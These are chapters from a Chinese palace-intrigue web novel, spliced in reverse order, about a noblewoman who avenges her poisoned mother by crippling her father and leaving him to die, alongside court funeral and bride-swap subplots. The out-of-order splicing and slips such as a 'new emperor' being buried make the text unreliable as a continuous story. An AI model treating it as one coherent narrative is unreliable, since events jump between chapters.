京城已经加强戒备,若萧晏辞那贼子敢来,自己正好来个瓮中捉鳖。 转眼到了腊月二十九。 安王萧晏珩终于赶回了京城。 去了封地大半年,他的身体依旧病恹恹的,毫无起色,瞧着甚至比先前更加糟糕。 这次之所以姗姗来迟,便是因为受身体的拖累。 他第一时间入宫拜见了新帝,痛哭流涕了一场,“都是我身子无用,连父皇最后一程都没能亲自送一送。” 因为太过激动,他还捂着胸口,发出了几声痛苦的咳嗽,一张白净的脸染上充满艳色的红。 萧晏临亲自上前,将他从地上扶了起来,“五皇兄,你莫要自责,你的身体如此,并非有意延误,父皇地下有知,也定不会怪罪。” 萧晏珩顺势起身,只是依旧愧悔难当,最后提出去皇陵给德丰帝上一炷香。 这本就是应该的,萧晏临自然允了。 萧晏珩拜谢离开,并未去拜见惠太妃。 第460章 摸着你的良心说话 柔贵妃见到她,眼神都冷了三分。 “我不曾得罪过你,你为何要害我?” 这是柔贵妃唯一想亲口问的问题。 这些年,她在宫中从来不怕事,但也不会主动惹事。 她自认为自己与惠嫔没有半分过节,难道是因为安王? 听了柔贵妃这话,惠太妃的脸上顿时露出扭曲与狰狞。 “你不曾害我?你说这话难道半点不亏心?当年我的孩子是怎么没的,你难道心里没数?” 听到这番指责,柔贵妃的眉头蹙起,脑中也努力回想着过往旧事。 难道自己当真不小心害了她的孩子? 但她确信自己什么都没有做。 “我不曾害过你的孩子。” 惠太妃神情激动,“你还不承认,当初我怀上皇儿,胎相不好,你便假惺惺地给我送来了一株灵芝,说是产自滇南府的好东西,我吃完了那株灵芝,就见了血,之后孩子也没了!” 柔贵妃依旧蹙着眉,“那你又怎能断定是我送的灵芝有问题?” “我小产之后,我娘家人给我送了另外一株灵芝,我吃了之后才察觉到与你那株灵芝的不同之处,我仔细一想,自己平日里的吃食都格外小心,除了你那株灵芝,再无其他不妥,我心中因此起了疑。” “然后我想法子从你的身边人下手,终于找到了一个贱婢的把柄,从她的口中问出了真相,我本欲带着那贱婢到皇上跟前讨个公道,却让那贱婢跑了,我再派人寻她,就发现她死在了莲塘里!” “定是你发现事情败露,这才杀人灭了口,过后,你还派人给那贱婢家人送了一笔抚恤银子。人若非是你杀的,你怎会这般好心?” 柔贵妃的确记得这件事。 当时她宫里的一个丫鬟突然溺亡,听闻那丫鬟的身世很凄惨,出于怜惜,她这才让人给对方家人送了一笔银子,没曾想,这背后竟然还有这番内情。 自己被人背后捅了一刀而不自知。 柔贵妃冷冷地看着她,“不管你信不信,那件事与我无关。” “事到如今你还敢狡辩!看我不打烂你的嘴!” 惠太妃心中的愤怒无处宣泄,扬起手就想打人。 这一次,柔贵妃没有站着挨打。 她飞快朝后退,避开了那一记耳光。 惠太妃见此,顿时大怒,“你竟然敢躲!来人,给我按住她!” 她身边的宫女立马上前就要抓人,但她们根本没能靠近柔贵妃,眼前一阵旋风刮过,竟将她们齐齐刮倒在地,惠太妃也被那股劲风刮得睁不开眼来。 还不等她们站稳脚跟,几人的膝头似被什么狠狠砸了一下,砸得哎哟一声,扑通跪了下去。 “这是怎么一回事?” “莫不是闹鬼了?” 她们的脸上都露出惊慌来。 柔贵妃和锦瑟都知道是怎么回事,这多半是暗卫在暗中所为。 柔贵妃淡淡道:“这冷宫中多的是无辜冤死的亡魂,我在这里住久了,早已经习惯,她们自然不会与我为难,你们是生面孔,那些冤魂会对你们做什么,可就说不准了。” 她的语气轻飘飘的,惠太妃听得脸色发白。 “你,你休要危言耸听!” 似是为了验证柔贵妃的话,又有一阵阴风吹过,呼呼的声音,似鬼魅哀嚎,那风刮得惠太妃眼睛都睁不开了,身形更是有些不稳。 而柔贵妃和锦瑟则半分都没受影响。 “我若是你,就会立马离开这里,不然,你可就要有来无回了。” 惠太妃嘴唇哆嗦,再不敢嘴硬,跌跌撞撞地起身跑了。 柔贵妃看着她狼狈的背影,唇角多了一丝嘲讽。 这人不仅脑子不聪明,随随便便被人糊弄,胆子也只有针眼那么大点,一阵风就把人吓跑了。 从此以后,她怕是再不敢来这里找自己麻烦了。 只是,那桩旧事,究竟是谁设计陷害? 对方在十几年前就给自己树了这么一个敌,其歹毒之心,当真令人不寒而栗。 萧宝珠回到公主府,就第一时间向陆知苒告知了德丰帝身体好转的好消息。 陆知苒闻言,也大大松了口气。 “如此就太好了。” 这个消息如同一剂强心剂,让她们心头都燃起了希望。 腊月二十,乃新帝下葬之日。 送葬队伍绵延十里,前导的十六面龙幡遮天蔽日。 新帝萧晏临捧谥宝走在灵舆前,身后八百名铁甲侍卫以刀鞘击地,沉闷的撞击声惊起寒鸦数只。 宫道两侧跪满素服百官和百姓,人人面露哀戚。 二皇子和三皇子都在头一天赶了回来,此时亦披麻戴孝,跟在送葬的队伍中。 这短短一年来,朝局发生巨变,他们都没料到,最后摘了桃子的人会是老八。 依照长幼,二皇子才是太子最佳人选,但却被八皇子捡了漏。 二皇子原本也有短暂的不平,甚至大胆地生出别的念头。 但这个念头来得快去得也快,他的才能平平无奇,既无功绩傍身,又无人拥护,母族身份更不高,光凭一个“长”字,想要获得拥护,根本不可能,反倒要把眼下大好的日子也折腾没了。 送葬的队伍威严肃穆,空气中笼着一股沉沉低压。 行至神道中段时,忽闻一声闷响——十六名抬棺的杠夫脚下同时一滑,金丝楠木的龙棺竟重重落在地上,震得棺罩上的金铃乱颤。 刹那间,天地仿佛凝滞。 萧晏临的脸色顿时变得十分难看,手中谥宝险些没拿稳。 队伍中不知是谁先发出一声惊叫,随即百官哗然。 棺椁中途落地,是为不详! 帝王入葬,更从未出现过这种变故。 礼部尚书吓得脸都白了,一时忘了该如何反应。 萧晏临的面皮狠狠抖动,“还不快抬起来,惊扰了父皇,你们担得起吗?” 十六名杠夫白着脸,赶忙重新起轿。 但不知是方才的惊吓让他们卸了力气,还是什么旁的原因,他们试了好几次,都没能顺利抬起来。 众人便眼睁睁地看着那金丝楠木的龙棺一下下地撞击地面,发出一声声沉闷的声响。 萧晏临的脸色变得越来越难看,文武百官亦是面色各异,百姓中更是发出了一声声低低的议论。 先帝不愿入土,莫不是,死得蹊跷? 这个念头一起,顿时叫人心头狂跳。 第399章 陆贯轩死了 紫鹃隔三差五会去看看陆贯轩。 大小姐给她安排了此事,她就得办好,万不能让陆贯轩过得太舒坦,回头自己被问罪。 陆贯轩见了她就怒目圆睁,张嘴大骂她毒妇。 紫鹃掩着口鼻,看着他的眼神都是嫌恶,连一句多余的话都懒得说。 陆贯轩老泪纵横,最后只能一遍遍地喊着陆知苒的名字。 紫鹃听了,在心中嘲讽,他到现在还不知道自己落得这般下场究竟是谁的授意。 陆知苒很快被他盼来了。 她最近在与族长商议过继子嗣之事,现在事情已经有了结果,于情于理,她都要来知会陆贯轩一声。 紫鹃在陆知苒面前十分老实,一副伏低做小的姿态。 “王妃,天气热了,屋子里味道重,恐怕会熏着您。” 陆知苒淡声,“无妨,到底是我父亲,我总要去看他一眼。” 亲眼看到了,心中的恨意才能有所交代。 迈步进去,迎面果然是一股浓烈的臭味。 以往意气风发、斯文体面的陆贯轩,此时已经肮脏狼狈得如同阴沟里的老鼠。 他看到陆知苒,黯淡的眸光终于亮了。 他艰难又含糊地喊,“苒姐儿……” 陆知苒静静地看着他,“父亲竟变成了这样。” 陆贯轩的眼泪一下就下来了,“刁奴……杀,杀了!紫鹃,贱婢,也,也杀了!” “父亲的意思是,他们苛待你,让我杀了他们,替你做主?” 陆贯轩用力点头,眼底也迸射出希望的光。 陆知苒勾唇露出一抹笑,“可是,这些事都是我吩咐的,他们都做得很好,我非常满意。” 陆贯轩如遭雷击,瞪大了眼睛,似怀疑自己听错了。 “当初,我娘亲为你豪掷千金,铺就官途,你得了势就跟方氏勾搭上,还与她合谋给我娘亲下毒。方氏可恨,你更是狼心狗肺,罪该万死!” 陆知苒的语气冷冰冰的,眼神更是充满了恨意。 她固然恨方氏,但更恨陆贯轩。 娘亲待他一心一意,毫无保留,他却两面三刀,翻脸无情。 他的血是冷的,心也是黑的。 陆贯轩终于反应过来,身子狠狠一哆嗦,原本眼中的希望也彻底熄灭了。 他想解释,但因为着急,说出口的话只变成了一团含糊不清的呜咽,嘴角口水直流,丑态毕现。 陆知苒能猜到他想说什么,无非就是一些辩解的话,她懒得听。 “方氏被我喂了断肠散,肠穿肚烂,七窍流血而死,我亲眼看到她受尽了折磨,最后慢慢咽了气。你该庆幸,陆家还需要你这个招牌撑门面,不然,你现在就不是中风瘫痪,而是早就去向我娘忏悔了!” 陆贯轩瞬间明白了什么,原来自己会中风,竟是陆知苒动的手脚! 他激动地呜咽着什么,陆知苒听懂了,他在骂“逆女”。 陆知苒淡声道:“父不慈,女不孝,你骂我的时候,不如先好好反思反思自己,究竟有没有做一个好父亲。” 陆贯轩还在骂,大约骂得很难听,陆知苒直接打断了他。 “你还是省省力气吧,免得太过激动又失禁。” 一句话让陆贯轩的脸色涨红,呼吸也瞬间急促起来。 “我这次来,是跟你说过继子嗣之事,人选我已经选好了,过继手续很快就能办好。届时,我有了弟弟,你也有了为你摔盆之人,你就能安心上路了。” 私心上来说,陆知苒根本不想为陆贯轩过继子嗣,陆家所谓的香火传承,她也根本不在乎。 但是,为了大局考虑,她不得不这么做。 她是瑾王妃,她不能没有娘家,哪怕陆家只是一个空壳子,也不能倒。 陆家有了新的继承人,陆贯轩就没了活着的必要。 他也该下去向娘亲忏悔了。 陆贯轩激动起来,一股浓郁的骚臭传来,他的表情再次凝固。 陆知苒嘲讽地看着他,“如果我是你,与其这样毫无尊严地活着,不如痛痛快快地死了来的干脆。但你如果真的那么怕死,我看在我们父女一场的份儿上,也会留你一条性命。” 说完,她便不再久留,转身离开。 身后又传来陆贯轩含糊不清的骂声。 陆贯轩骂累了,整个人都有些虚脱。 他恨啊,没想到自己竟是被亲生女儿害成了这样。 亏得先前他还把这个女儿当成自己的救命稻草!他的一腔真心,当真错付了。 他的身上已经长满了褥子,疼痛瘙痒,难熬极了,还有身上这股臭味,更让他恶心。 但他除了这么躺着任人摆布,什么都做不了。 他不想死,可,他也不想这么毫无尊严地活着。 这样的日子,每一日,都是煎熬。 贼老天,你若当真有灵,就下一道雷,劈死那不孝的逆女吧! 老天爷好似当真听到了他的声音,天上乌云密布,响起一道惊雷。 陆知苒站在院中,抬头看着黑沉沉的天空,面色平静,并无一丝畏惧。 老天爷若当真有眼,早在十几年前,就应当把陆贯轩和方氏这对狗男女劈死,又何至于等到现在,要自己亲自动手? 陆家族长牵头,很快就把过继之事办好。 那过继的孩子出自陆家旁支,名唤陆砚修,今年刚五岁。 母亲离世,父亲再娶,继母生了个弟弟,他的日子过得并不好。 陆知苒第一眼见到他,就觉得他的眼神里带着一股狠劲,像一头狼崽子。 再联想到他的身世,最终定下了他。 五岁的孩子,心性尚可雕琢。未来如何,谁都无法预知。 过继之事完成,陆知苒给了紫鹃一瓶药。 是当初给方氏服用的断肠散。 “让父亲自己选吧。” 究竟是长痛不如短痛,干脆利落地死,还是继续苟延残喘,毫无尊严地活? 她给他选择的机会。 陆贯轩拼尽全力,将那药打碎了,更是赤红着眼睛怒视紫鹃,骂她贱人。 紫鹃见他做出了选择,转身离开。 谁料,到了第二日,紫鹃就听说陆贯轩死了。 紫鹃连忙去看,这才知道,他从床上摔了下来,地上是他摔碎的瓷瓶,小厮懒怠,无人打扫,他摔在尖锐的碎片上,被割破了喉咙。 血流了一个晚上,等到小厮进来时,人已经死得透透的了。 看管的小厮顿时慌了,生怕自己会受到责罚。 紫鹃也第一时间回禀给陆知苒,陆知苒听罢,眸光微微动了动。 “发丧吧。” 第396章 娘亲是怎么死的? 陆贯轩人虽不能动,但意识是清醒的,他将太医的话听进耳中,顿时急了,咿咿呀呀地说着话,刚刚垫上的口水帕又被打湿了。 陆知苒一脸沉痛,“真的没有法子了吗?还请您再多费费心。” 那太医摇头,“老夫若有法子,岂会见死不救?” 陆贯轩脸色涨红,无比艰难地从挤出一句话。 “邢,邢,老,太爷……” 大家总算听懂了。 当初,邢老太爷也突发中风,但他被治好了。 救治之人是蒋南笙。 这也是蒋南笙的女儿身揭开之后,大家才知晓的此事。 邢初雪还特意备了礼,感谢了蒋南笙。 难为陆贯轩还能记住。 陆知苒满脸遗憾,“爹,邢老太爷的中风是南笙诊治的,但南笙现在不在京城,去了何处也无人可知,一时半会儿只怕寻不到人。” 陆贯轩闻言,眼底的希望瞬间熄灭。 但他不死心,嘴里依旧艰难开口。 “找,去,去找……” 陆知苒一脸真诚,“爹,您放心,女儿定会派人去找的,只要找到她,定然第一时间把她带回来为您诊治。” 陆贯轩呼哧呼哧地喘气,看着陆知苒的眼神充满了期待。 忽而,屋中又传来一阵骚臭味,大家的神色都变了变。 不用想也能猜到,这股骚臭味从何而来。 床上的陆贯轩脸色涨得通红,一股前所未有的羞愤将他席卷。 陆知苒体贴地把大家都遣了出去,只留两个得力的小厮帮忙换洗。 送走了太医,紫鹃走到陆知苒跟前,跪了下来。 “王妃,是妾身没有照顾好老爷,还请王妃责罚!” 当日,陆知苒让人给她传了那么一句话,紫鹃心中便有了大胆的猜测。 大小姐对老爷怕是生了杀心。 但大小姐并非真的要取了老爷的性命,只想让他闭嘴,不能再做些不该做的事。 紫鹃不确定自己是否意会成功,最终,她还是咬牙做下了此事。 因为她也希望陆贯轩闭嘴,不然不知道什么时候,又要被他反过来清算旧账。 若她意会错了,便咬死不承认,只要她做得小心些,不留下把柄便是。 此时,她主动向陆知苒认错,却半个字都没提下药之事,只为自己没有照顾好陆贯轩而请罪,她不过是在试探陆知苒的态度罢了。 陆知苒将紫鹃的小心思全都看在眼里。 她笑了笑,紫鹃果然很聪明,自己没有选错人。 陆知苒没有与她绕弯子,“紫鹃,这件事,你做得很好,我没有看错你。” 紫鹃的眼神一亮,原本悬着的心也终于落了下去。 “能为王妃办事,是妾身的荣幸!今后王妃有什么需要效劳的,尽管吩咐,妾身定义不容辞。” 她刚表完忠,陆知苒就道:“说来,我倒是的确有一件事要问你,不知你能否为我解答?” 紫鹃立马道:“王妃请说,妾身定知无不言,言无不尽。” 陆知苒幽幽开口,“当初,我娘亲是怎么死的,你可知道?” 紫鹃的神情僵住,眼底是藏不住的惊慌。 “王,王妃,此,此事……” 她结结巴巴,一时有些语无伦次。 陆知苒淡淡地看着她,“你知道什么,就说什么,只要你坦白,我不会对你如何。” 紫鹃脑中飞快地闪过很多念头,她没有犹豫太久,在隐瞒和坦白之间,她选择了后者。 眼前之人,已经不是当初刚刚和离归家的大小姐了,她连夫人掉包孩子之事都能查到,只怕当年先夫人之死,她也早就知晓了真相。 自己在她面前说谎,只会白白打坏了一手好牌。 她要除掉自己,便似碾死一只蚂蚁那么简单。 “王妃,先夫人的死,的确有蹊跷。此事,其实是老爷和夫人谋划的……” 陆贯轩的官职,是靠洛氏花银子砸出来的。 再往上走,光靠银子就不行了,得有人脉和能力。 洛氏没了作用,陆贯轩待她便不似从前。 而后,他与方氏勾搭上了。 方氏只是小官之女,其实也不符合陆贯轩的目标,但他勾搭不上更高门第的小姐。 方氏的身份自然不会给陆贯轩做小,愿意给他做续弦,也是看他生得英俊的份儿上——也贪图洛氏丰厚的嫁妆。 “是夫人向老爷出了主意,给先夫人下毒,让她慢慢虚弱,最后病故。那毒,也是方家寻来,交给老爷的。” “奴婢当时的确知晓此事,但奴婢只是个下人,根本没有说话的权利,更没法阻止。奴婢对此事瞒而不报,也是担心您会迁怒于奴婢,奴婢该死!” 说完她就砰砰磕头,十分卖力。 此时紫鹃只庆幸当时方氏还没入门,自己这个左右手也没有机会出手对付先夫人。 若自己当真沾了手,只怕王妃更不会放过自己。 陆知苒听了,面上情绪意味不明。 母亲果然死在了他们的手里。 半晌,陆知苒方开口,语气微冷,“陆家现在一团乱,内宅无人打理,父亲也无人照料,我实在是放心不下。” 紫鹃先是一愣,旋即反应过来她的意思,忙道:“妾身不才,愿为王妃分忧。妾身本就是奴婢出身,能照料好老爷,请王妃给妾身这个机会。” 要如何照料,只需要陆知苒一声吩咐,她就能意会,保证能让陆贯轩求生不得求死不能。 陆知苒痛恨陆贯轩,却不能杀了他。 陆家没有男丁,他要活着,当个门面,哪怕这个门面只是一个招牌。 但陆知苒也不想让他好过。 紫鹃能成为她手里的刀,替她办这件事,她很满意。 “这一点,我对你是放心的。” 紫鹃闻言,当即松了口气。 陆知苒又道:“陆家现在没个当家主母,也委实不像样。西苑的姨娘们立不起来,只有你最得力。” 紫鹃闻言,欣喜若狂。 自己这是要得到重用了? 紫鹃连忙道:“妾身身份低微,不敢以当家主母自居,但妾身能当好陆家的管事,把陆家上下都料理得井井有条。” 陆知苒看着她,面含微笑。 “我自然是信任你的,但偌大一个陆家,光靠你一人也是不行的。我会向母妃从内务府讨要几个得力的老人到府中来,与你一道协理府中事务。” “陆家不能没有后,我亦会与族长商议,从旁支过继一个孩子。到时候,那孩子的吃住念书等一应事宜,就都得有劳紫鹃姨娘多费心了。” “星辰尚且年幼,也没有其他玩伴,若家里多个哥哥,也能与她一起作伴,紫鹃姨娘,你觉得呢?” 第394章 断子绝孙的老男人 回到陆家,他直奔知春苑而去。 方氏挨了他一顿痛打,又被下令不许请大夫,身边的心腹也全都被换了,此时她半死不活地躺在床上,渴了连倒水的人都没有。 两个女儿都没有来看过自己一回。 方氏心想,她们定然是来过的,只是陆贯轩不让她们来见自己罢了。 陆贯轩进来时,还闻到了一股骚臭味,他的脸上顿时露出满满的嫌恶。 方氏掀起眼皮看向他,眼神麻木。 陆贯轩本想再打她一顿,但那股味儿太刺鼻,他便远远地站着,没有靠近。 “方氏,今日你兄长挨了二十板子,还被皇上撸了官职。你那好外甥,也没了科考的资格,你们方家遭报应了!” 方氏的脸上依旧没有半分波澜。 她现在都自身难保了,又怎会去管其他人的死活? 更何况,她陷入困境,他们也不曾来搭救自己。 既如此,大家都别好过。 她唯一看不惯的,是陆贯轩的这副嘴脸。 她扯了扯唇角,露出一抹意味不明的笑。 “我和方家不好过,你又有什么好得意的?一个注定断子绝孙的老男人。” 最后那话,她说得很慢,每一个字都狠狠戳了陆贯轩的神经。 这是他不能触碰的伤口! 陆贯轩顾不上嫌弃,直接冲上去,扬起手就给了方氏一记耳光,即便这样仍然不解气,又伸手把她从床上拖了下来,好一顿拳打脚踢。 方氏只能抱着脑袋,蜷缩成一团保护自己。 陆贯轩一边打一边骂,方氏愣是一声不吭,不肯开口求饶。 打累了,陆贯轩才停了下来,依旧指着她的鼻子怒骂。 “我现在成了整个京城的笑柄,你们方家上下也休想好过!” 方氏被打得浑身疼,肋骨似是断了。 她捂着胸口,艰难地呼吸。 “你冲着我们发火算什么本事?有本事,你去找陆知苒啊!你敢不敢冲她发火?” 陆贯轩怒骂,“此事与苒姐儿有什么关系?你休要挑拨离间!” 方氏发出嗬嗬的古怪笑声。 “跟她没关系?你可真是自欺欺人。当日君儿与娇儿同时中毒,你当真以为是巧合吗?他们中什么毒不好,偏偏中的是需要亲生母亲的心头血才能解的毒?” “那消失了十几年的稳婆,怎么刚好在那个时候找上门来了?一件事是巧合,几件事同时发生,就是有人蓄意为之。除了陆知苒,谁会这般恨我,非要把此事揭穿?” 方氏恨极了陆知苒,临死前不狠狠捅她一刀,方氏不甘心。 陆贯轩面色果然变了。 “你休要血口喷人!你当年做下这桩龌龊事时,苒姐儿才几岁,她怎会知晓内情?更何况,她对君儿素来不错,她定是把君儿当成亲弟弟。” 方氏意味不明地笑了笑,“老爷莫不是忘了,她与紫鹃素来走得近?那贱人跟在我身边那么多年,老爷当真以为她毫不知情?她也是我的帮凶,只是故意瞒而不报罢了。” “可笑,她对老爷守口如瓶,却将事情抖给你的好女儿,她们联起手来,将你的尊严踩在脚底,看着你被众人嘲笑,自己这会儿指不定躲在哪里偷着乐呢。” 方氏越笑越大声,却牵扯到自己身上的伤处,发出一声声剧烈呛咳。 陆贯轩的脸色更加难看,眼神笼上一抹晦暗不明。 方氏将陆贯轩的反应尽收眼底,她心中更加快意。 这个蠢货,这是信了她的话。 紫鹃虽是自小跟在她身边的丫鬟,但这件事并不知情。 她无父无母,又死了丈夫,也没有儿女,没有可以拿捏的人质,为了确保万无一失,方氏在此事上对她严加保密。 但方氏怎会说实话? 她就是要让陆贯轩对紫鹃生出芥蒂,最好是把紫鹃和她那贱种杀了。 她大概是活不长了,如果那对贱人母女能为她陪葬,那她到了黄泉路上也不孤单。 陆贯轩面皮抖动,嘴里说着不信,但他眼底迸射的怒意已然出卖了他。 他没有心思继续与方氏纠缠,一甩袖,气急败坏地走了。 方氏看着陆贯轩离开的背影,唇角勾起一抹怪异的笑。 只是很快,身上剧痛传来,她脸上的笑就变成了扭曲的痛苦,她似一条蛆虫似的无助地在地上翻滚,呻吟。 陆贯轩脑中不停回忆着方氏的那番话,怒火在胸中一点点膨胀,几乎将他点燃。 先前他被这桩巨大变故打倒,脑子都是混沌的,完全没有认真梳理这整件事,也忽略了很多细节。 方才方氏的一番话,让他的脑子瞬间清醒了。 这件事,的确很可疑,绝不是巧合可以解释的。 陆贯轩不敢去找陆知苒对质,他直奔紫鹃的院子而去。 那个贱人,自己先前竟然忘了她。 早该想到的。 陆贯轩怒气冲冲地闯进来,紫鹃露出惊慌之色,却不得不迎上前。 他看着紫鹃这张明显松弛的脸,满脸嫌恶。 再想到方氏的那番话,他更是愤怒,抬脚就狠狠踹了她一脚。 “贱人,你早就知道方氏当年所作的勾当,是不是?你帮着那贱人瞒我,真是把我当猴耍!” 紫鹃早有预料他会有兴师问罪的一日,也做好了应对的准备,方才她已经下意识避让,只是依旧被踹得生疼。 她满脸含泪,“老爷,如果妾身告诉您,妾身不知道这件事,您相信吗?” 陆贯轩被愤怒冲昏了头脑,哪里听得进她的话? “贱人,事到临头你还敢狡辩!你是方氏的心腹,怎么可能不知道?” 紫鹃满脸苦笑,“表面上,妾身的确是夫人的心腹,但实际上妾身不过就是个卑贱下人罢了。妾身孑然一身,没有父母兄弟,也没有丈夫儿女,夫人没有可以借此拿捏妾身的筹码,怎会放心把这么要紧的事告诉妾身?” “但魏嬷嬷却不同,她是方家的家生子,她人在夫人跟前伺候,但她的儿子儿媳,女儿女婿,甚至孙辈全都在方家,夫人不会担心她往外说。” 这些弯弯绕绕,也是紫鹃这些时日一点点慢慢想明白的。 陆贯轩闻言,微微愣住。 紫鹃见此继续道:“老爷您再想想,如果妾身知道这件事,夫人断然不会容许妾身活到现在,妾身为了自保,也定然早就把事情抖出去了,又怎会藏着掖着?” 第254章 奸夫淫妇 陆贯轩听闻紫鹃动了胎气,脸上顿时现出几分焦急,但他对秋篱却无怪罪之意。 “那李荣发胆敢在你的药里动手脚,简直狗胆包天。你的做法没有任何问题,他人呢?” 秋篱朝陆知苒看了一眼。 陆知苒主动开口,“父亲,女儿方才让他去静安居给紫鹃姨娘诊脉去了。” 秋篱垂眉敛目,小声开口,“大小姐开口,妾身不敢阻拦。” 陆贯轩面上顿时露出几分怒意,“苒姐儿,你既知那李荣发有问题,为何还让他去给紫鹃诊脉?若紫鹃腹中胎儿有什么三长两短,你负得起责任吗?” 陆贯轩已经许久不曾对陆知苒如此疾言厉色了,被秋篱三言两语一番挑拨,他的怒气就压不住了。 陆知苒神色淡淡的,“父亲,李大夫在陆家十几年,兢兢业业,从未有过半点不妥。此次之事恐怕是个误会。” 秋篱立在一旁没有说话,但陆贯轩的心早已偏了。 “难道秋姨娘还会诬陷他不成?” 秋篱立马诚惶诚恐,“大小姐明鉴,妾身吃了李大夫开的药,的确迟迟不见好转,妾身不可能为了诬陷旁人就拿自己的身体问题开玩笑!老爷,还请您明查此事,不然妾身就要背负一个莫须有的罪名了。” 说话间,秋篱已然微微哽咽起来,那副梨花带雨的模样,叫陆贯轩的心瞬间软了。 陆知苒开口,“父亲,既然此事有争议,便趁此机会彻查清楚吧,若当真有魑魅魍魉敢在陆家作妖,趁此机会揪出来,也能好好震慑一番人心。” 秋篱闻言,那双好看的眸子中微微闪了闪。 这话让她生出一丝不安,但很快就安慰自己,定是自己想多了。 陆贯轩沉吟一番,“的确该好好查一查。来人,给我到那李荣发的屋子里搜一搜,定要每一处都搜查仔细了!” 若是什么都没搜出来也就罢了,他姑且还能揭过这一茬。 但凡搜出一点可疑之物,他定要追查到底。 他的后院,决不允许再有人兴风作浪。 搜查的人去得快,回来得也很快,神色间透着一丝古怪。 “老爷,小的在李大夫的房中搜到了几封书信,还请您过目。” 秋篱眼睫微垂,掩去眸底那丝亮光。 陆贯轩不明所以,伸手接过,待看罢信上的内容,他的脸色骤然大变,整个身子都有些站立不稳,手中的那封书信也没拿稳,落了地。 秋篱连忙伸手搀扶,“老爷,您怎么了?” 丫鬟捡起那封信,秋篱随意一瞟,待看清上面的内容,她的脸色也瞬间变了。 她失声惊呼,“紫鹃姨娘竟与李大夫有苟且之情,便是那孩子,也是他们的孽种?这,这怎么可能?” 她惊呼完,才意识到自己没有压低声音,急忙欲盖弥彰地掩住了嘴。 但她的声音不低,在场的众人都听到了。 陆知苒也适时露出一抹难以置信的神色。 陆贯轩的脸皮狠狠抖动,因为愤怒,脸色涨得通红。 任何一个人都不可能容忍这样的事情发生,更何况,他还那么期盼紫鹃肚子里的孩子。 那个孩子给了他希望,让他知道自己的身体没有问题,他还能与别的女人生出更多的孩子。 但没想到,那个孩子,竟然不是他的种! 他所有的期盼全都化为泡影,变成了一个巨大的巴掌,狠狠地甩在他的脸上,将他的尊严彻底击碎。 紫鹃那贱人,竟然背着自己,与李荣发私通! 他们在自己的眼皮子底下勾搭,日后,自己还要替他们养孩子! 只要一想到这个可能,陆贯轩便觉一阵气血翻涌,几欲晕厥过去。 难怪方才秋篱要把李荣发送去见官,紫鹃那贱人立马派人来阻拦,却原来他们早就有了一腿! “去,给我把那对奸夫淫妇带过来!” 秋篱在一旁给他轻拍后背,柔声安抚,“老爷,您消消气,此事或许有什么误会,他们怎敢如此胆大包天?” 陆贯轩阴沉着脸。 “误会?那这封信是怎么一回事?” 秋篱继续劝解,“一封信而已,万一是旁人构陷的呢?妾身听说秋姨娘自小在夫人跟前伺候,她的为人品性自是值得信任的,断然做不出这等与人私通之事。” 这话不说还好,一说简直就是火上浇油。 紫鹃是怎么成为自己姨娘的?可不就是背地里主动勾引自己吗? 她能勾引自己,就能勾引旁人! 她背叛了方氏,其人品也实在堪忧! 陆贯轩被她怀孕之事冲昏了头脑,完全没有想到这一点,现在被点醒,他心中对紫鹃的怀疑便疯狂滋长,再也压不住了。 也只有秋篱刚进府,还不了解此间内情,才会无意中说出这话,点醒了他。 紫鹃和李荣发被带了来。 紫鹃的肚子已经显怀,是被人抬着来的。 此事结果如何尚未有定论,下人也不敢对她太过粗蛮。 “老爷,不知您请妾身前来所为何事?” 陆贯轩见到他们二人,怒气更加汹涌。 他怒喝一声,“所为何事你们心里不清楚吗?你们这对奸夫淫妇,还不给我跪下!” 紫鹃满脸错愕,李荣发更是惊得脸色大变,他诚惶诚恐地跪下,连声喊冤。 “老爷,您这话从何说起?小的与紫鹃姨娘清清白白,绝无半点私情啊!” “那这是怎么一回事?这是从你的房中搜出来的!” 陆贯轩愤怒地将那几封书信甩到他脸上,李荣发赶紧去捡,看了一眼,他的脸色涨得通红,语气急切地辩解。 “老爷,小的冤枉,这并非小的与紫鹃姨娘来往的书信,而是……” 陆贯轩怒声打断他,“上面写得清清楚楚,你还想抵赖?你们这对狗男女,在我的眼皮子底下苟且,还想让我给你们养孩子,真是欺人太甚!” 紫鹃没看到那些信,但也已经猜到信中内容,她的脸色顿时变得一片煞白。 她护着自己的肚子,跪了下来,“老爷明查,妾身是冤枉的,这些所谓的书信与妾身无关,妾身根本不知道是怎么一回事。妾身敢指天发誓,腹中的孩子就是老爷的!妾身便是有十个胆子,也不敢拿子嗣问题糊弄您啊。” 第216章 死人最能保守秘密 父亲母亲会站在自己这边吗? 母亲素来偏向姐姐,觉得姐姐比自己更适合嫁进安王府。 父亲即便不偏不倚,可此事已成定局,他又岂会为了自己的公道,赌上邢家上下所有人的性命和前途? 父亲最有可能做的,就是将错就错,将她们两姐妹的人生彻底对换。 从今以后,她不再是邢初雪,而是变成了邢初樱。 “我不甘心!凭什么我的人生要被别人窃取?” 她的双目赤红,浑身都被怒意充斥。 陆知苒见她如此反应,反倒笑了。 若邢初雪就此认命,接受了旁人对她的算计,陆知苒反而会失望,也会重新考虑是否要继续维系这段友情。 邢初雪没有让她失望。 “你想拿回属于自己的一切,对吗?” 邢初雪用力点头,“这段时日,我处处忍让,只因顾念姐妹情谊,不欲与家人离了心。殊不知,我的忍让换来的却是对方的变本加厉,今日我若是认命了,那我后半辈子,就要一直被她压上一头。” 陆知苒对她的清醒很高兴,忍让换不来和平,只有强势的反击和碾压可以。 “你能这样想,我很高兴。你我相交一场,我定会助你把一切夺回来。” 邢初雪抹了一把脸,收起了眼泪。 “可是花轿早就走了,他们定然早就拜了堂,入了洞房,现在还来得及吗?” 邢初雪的心头升起一股难以言喻的绝望。 “来得及,只要他们还没有圆房,一切就都来得及。” 陆知苒的语气笃定,让邢初雪也瞬间燃起了希望。 “那,那我们该怎么做?除非我冲出去大闹,不然,我怎么可能揭穿她?” 她若是那么做了,自己也要跟着遭殃,如此伤敌一千自损八百之举,实在不明智。 陆知苒轻轻一笑,“谁说非要大闹不可?她如何取代你的,你便如法炮制,一切自然就拨乱反正了。” 邢初雪愣怔一瞬,这才恍然大悟。 是了,她本就是新娘,她只需要顺利进到新房,把姐姐迷晕,再重新穿上嫁衣,自然就能让一切回归原位。 至于她姐姐,自然是从哪里来,回哪里去。 “宝珠已经先去了安王府,看着你姐姐。届时,她也会配合我们,一起办成此事。” 听了她们这番周密安排,邢初雪顿时满心感动。 “我真是三生有幸,能结识你们这样的好友。” 陆知苒笑了笑,她会这样帮邢初雪,也并非没有私心。 若能借着她拉拢安王,让安王也能为萧晏辞所用,于他们而言,又是一大助力。 